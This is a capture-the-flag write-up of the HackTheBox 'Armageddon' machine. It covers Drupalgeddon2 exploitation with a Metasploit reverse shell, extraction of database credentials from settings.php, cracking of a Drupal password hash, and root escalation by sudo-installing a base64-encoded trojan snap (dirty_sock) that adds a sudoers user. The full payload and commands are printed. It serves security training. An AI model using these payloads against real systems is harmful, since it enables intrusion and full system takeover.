Preface: Armageddon is a easy box on HackTheBox.eu. With an basic nmap scan we discovered a vulnerable and outdated content management system. With a known CVE we are able to gain a shell as apache. With database credentials we found from the CMS we were able to got a user. Once on the machine and with some basic manual enumeration we discovered that we are able to run a programm with sudo. With this ability we are able to gain a root shell.
Information gathering
As always we start with an nmap
scan for open ports and services:
$ nmap -sC -sV -oN nmap/armageddon.nmap 10.10.10.233
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-07 11:32 CEST
Nmap scan report for 10.10.10.233
Host is up (0.040s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
| 256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_ 256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to Armageddon | Armageddon
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.87 seconds
We got two open ports. The interesting one is the port 80, http
. According of the nmap
scan there is Drupal 7
running on it. There is also a robots.txt
where we should take a look on it.
Searchsploit
A quick searchsploit
gives us a ton of results.
$ searchsploit drupal 7
-------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
... [snip] ...
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit) | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC) | php/webapps/44542.txt
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution | php/webapps/44449.rb
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution | php/webapps/44449.rb
... [snip] ...
-------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
But the most interesting one for us is this one:
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC) | php/webapps/44542.txt
Let’s see what informations we can gain from it:
$ searchsploit -x php/webapps/44542.txt
This is a sample of exploit for Drupal 7 new vulnerability SA-CORE-2018-004 / CVE-2018-7602.
You must be authenticated and with the power of deleting a node. Some other forms may be vulnerable : at least, all of forms that is in 2-step (form then confirm).
POST /?q=node/99/delete&destination=node?q[%2523][]=passthru%26q[%2523type]=markup%26q[%2523markup]=whoami HTTP/1.1
[...]
form_id=node_delete_confirm&_triggering_element_name=form_id&form_token=[CSRF-TOKEN]
Retrieve the form_build_id from the response, and then triggering the exploit with :
POST /drupal/?q=file/ajax/actions/cancel/%23options/path/[FORM_BUILD_ID] HTTP/1.1
[...]
form_build_id=[FORM_BUILD_ID]
This will display the result of the whoami command.
Patch your systems!
Blaklis
There is the CVE-2018-7602
which is a vulnerability in the Drupal 7
core. Now it is time to confirm if this installation is vulnerable to it.
CVE-2018-7602
A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being compromised. This vulnerability is related to Drupal core - Highly critical - Remote Code Execution - SA-CORE-2018-002. Both SA-CORE-2018-002 and this vulnerability are being exploited in the wild. – NVD NIST
This sounds awesome. Exactly what we need. Let’s see if we find a PoC or something. There is a metasploit
module for this vulnerability.
$ msfconsole -q
msf6 > search drupal
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/gather/drupal_openid_xxe 2012-10-17 normal Yes Drupal OpenID External Entity Injection
1 auxiliary/scanner/http/drupal_views_user_enum 2010-07-02 normal Yes Drupal Views Module Users Enumeration
2 exploit/multi/http/drupal_drupageddon 2014-10-15 excellent No Drupal HTTP Parameter Key/Value SQL Injection
3 exploit/unix/webapp/drupal_coder_exec 2016-07-13 excellent Yes Drupal CODER Module Remote Command Execution
4 exploit/unix/webapp/drupal_drupalgeddon2 2018-03-28 excellent Yes Drupal Drupalgeddon 2 Forms API Property Injection
5 exploit/unix/webapp/drupal_restws_exec 2016-07-13 excellent Yes Drupal RESTWS Module Remote PHP Code Execution
6 exploit/unix/webapp/drupal_restws_unserialize 2019-02-20 normal Yes Drupal RESTful Web Services unserialize() RCE
7 exploit/unix/webapp/php_xmlrpc_eval 2005-06-29 excellent Yes PHP XML-RPC Arbitrary Code Execution
I will use the exploit/unix/webapp/drupal_drupalgeddon2
module. The only two things we have to set is LHOST
and RHOSTS
. Before we try to exploit the installation we should check if it is vulnerable. It is always good to first verify the vulnerability.
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > check
[+] 10.10.10.233:80 - The target is vulnerable.
Foothold
Yep, it is vulnerable. So we found the correct CVE
. Now it is time to run the exploit.
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 10.10.14.14:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Sending stage (39282 bytes) to 10.10.10.233
[*] Meterpreter session 1 opened (10.10.14.14:4444 -> 10.10.10.233:50242) at 2021-04-07 12:14:05 +0200
meterpreter > shell
Process 2692 created.
Channel 0 created.
$ whoami
apache
Nice! We got a proper foothold!
!!!! SHELL: apache
User
Once on the box I enumerate manually. First I check the /var/www/html
directory. Maybe we can find some credentials in the Drupal
installation. There should be a configuration file for the system. I am not that familiar with Drupal
so I try first a quick grep
in the installation directory.
$ pwd
/var/www/html
$ grep -r passw *
... [snip] ...
sites/default/settings.php: * 'password' => 'password',
sites/default/settings.php: * 'password' => 'password',
sites/default/settings.php: 'password' => 'CQHEy@9M*m23gBVj',
sites/default/settings.php: * by using the username and password variables. The proxy_user_agent variable
sites/default/settings.php:# $conf['proxy_password'] = '';
themes/bartik/css/ie.css:#password-strength-text {
themes/bartik/css/style-rtl.css:#password-strength {
... [snip] ...
And there is a string which looks like an password. The file name settings.php
sounds also pretty good. Let’s see for what it is.
$ cat sites/default/settings.php
... [snip] ...
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'CQHEy@9M*m23gBVj',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
... [snip] ...
We got the credentials for mysql
. Now it is time to check if mysql
is running on the box. Because we could find some users and passwords.
$netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 ::1:25 :::* LISTEN -
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Yep, there is mysql
listening on port 3306
. So I try the credentials we found before.
$ mysql -u drupaluser -p -D drupal
mysql -u drupaluser -p -D drupal
Enter password: CQHEy@9M*m23gBVj
select * from users;
exit
uid name pass mail theme signature signature_format created access login status timezone language picture init data
0 NULL 0 0 0 0 NULL 0 NULL
1 brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt admin@armageddon.eu filtered_html 1606998756 1607077194 1607076276 1 Europe/London 0 admin@armageddon.eu a:1:{s:7:"overlay";i:1;}
Awesome! These credentials are correct. As you can see above, I selected the database drupal
which I enumerated before. There I selected all entries of the table users
. There is one user brucetherealadmin
. Let’s try if we can crack the hash with john
.
John
We try to crack the hash
we found with the mysql
credentials with john
. I created a file hashes
which contains the hash
of the user.
$ john hashes /usr/share/wordlists/rockyou.txt
Warning: only loading hashes of type "Drupal7", but also saw type "tripcode"
Use the "--format=plaintext" option to force loading hashes of that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (Drupal7, $S$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
booboo (?)
1g 0:00:00:00 DONE 2/3 (2021-04-08 07:34) 1.149g/s 183.9p/s 183.9c/s 183.9C/s asdfjkl;..bradley
Use the "--show" option to display all of the cracked passwords reliably
Session completed
We cracked the hash
. No we have the password booboo
for the user brucetherealadmin
. This is the admin user of the Drupal
installation. Maybe this user is also on the box. So let’s try to ssh
into the box.
$ ssh brucetherealadmin@10.10.10.233
brucetherealadmin@10.10.10.233's password:
Last login: Thu Apr 8 06:52:40 2021 from 10.10.14.14
[brucetherealadmin@armageddon ~]$ whoami && hostname
brucetherealadmin
armageddon.htb
[brucetherealadmin@armageddon ~]$
Yes, we got the user shell as brucetherealadmin
.
SHELL: brucetherealadmin
Root
First we enumerate manually as brucetherealadmin
. And I found something interesting. We are able to run snap install
with sudo
.
$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
!visiblepw, always\_set\_home, match\_group\_by\_gid, always\_query\_group\_plugin, env\_reset, env\_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS\_COLORS",
env\_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC\_ADDRESS LC\_CTYPE", env\_keep+="LC\_COLLATE LC\_IDENTIFICATION LC\_MEASUREMENT LC\_MESSAGES",
env\_keep+="LC\_MONETARY LC\_NAME LC\_NUMERIC LC\_PAPER LC\_TELEPHONE", env\_keep+="LC\_TIME LC\_ALL LANGUAGE LINGUAS \_XKB\_CHARSET XAUTHORITY",
secure\_path=/sbin\\:/bin\\:/usr/sbin\\:/usr/bin
User brucetherealadmin may run the following commands on armageddon:
** (root) NOPASSWD: /usr/bin/snap install \***
Let’s see what version of snap
is installed on this box.
$ snap version
snap 2.47.1-1.el7
snapd 2.47.1-1.el7
series 16
centos 7
kernel 3.10.0-1160.6.1.el7.x86_64
We got version 2.47.1
. So we should take a look if there is a CVE
available for this version. searchsploit
got a exploit for the version 2.37
.
$ searchsploit snapd
-------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
snapd < 2.37 (Ubuntu) - 'dirty_sock' Local Privilege Escalation (1) | linux/local/46361.py
snapd < 2.37 (Ubuntu) - 'dirty_sock' Local Privilege Escalation (2) | linux/local/46362.py
-------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
I will take a look into the linux/local/46362.py
file.
... [snip] ...
# The following global is a base64 encoded string representing an installable
# snap package. The snap itself is empty and has no functionality. It does,
# however, have a bash-script in the install hook that will create a new user.
# For full details, read the blog linked on the github page above.
TROJAN_SNAP = ('''
aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD/
/////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJh
ZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5
TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERo
T2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawpl
Y2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFt
ZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZv
ciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5n
L2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZt
b2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAe
rFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUj
rkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAA
AAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2
XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5
RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAA
AFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw'''
+ 'A' * 4256 + '==')
... [snip] ...
This snippet is a installable snap
package encoded in base64
. I think we need only this part. Because we are able to run snap install
with sudo
. But before we run this on the box we should know what it does. On the github
page of this exploit there is a blog post where this is explained in detail. The relevant information for us is that this snap
package add an user dirty_sock:dirty_sock
and add it to the sudo
group. So we are able to run everything as root
with the dirty_sock
user.
So now it is time to try this package
on the box.
$ python2 -c 'print "aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJhZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERoT2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawplY2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFtZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZvciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZtb2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAerFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUjrkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAAAAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw" + "A"*4526 + "=="' | base64 -d > qty.snap
$ sudo /usr/bin/snap install --devmode qty.snap
dirty-sock 0.1 installed
Now we have to switch to the dirty_sock
user. The password is identical to the name. Then we should be able to switch to the root
user. Because our new user is able to run everything with sudo
.
$ su dirty_sock
Passwort: dirty_sock
[dirty_sock@armageddon qty] sudo -i
[sudo] Passwort für dirty_sock: dirty_sock
[root@armageddon ~]# id
uid=0(root) gid=0(root) Gruppen=0(root) Kontext=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@armageddon ~]#
Awesome! It worked!
SHELL: root
Thanks for reading! I hope you enjoyed it!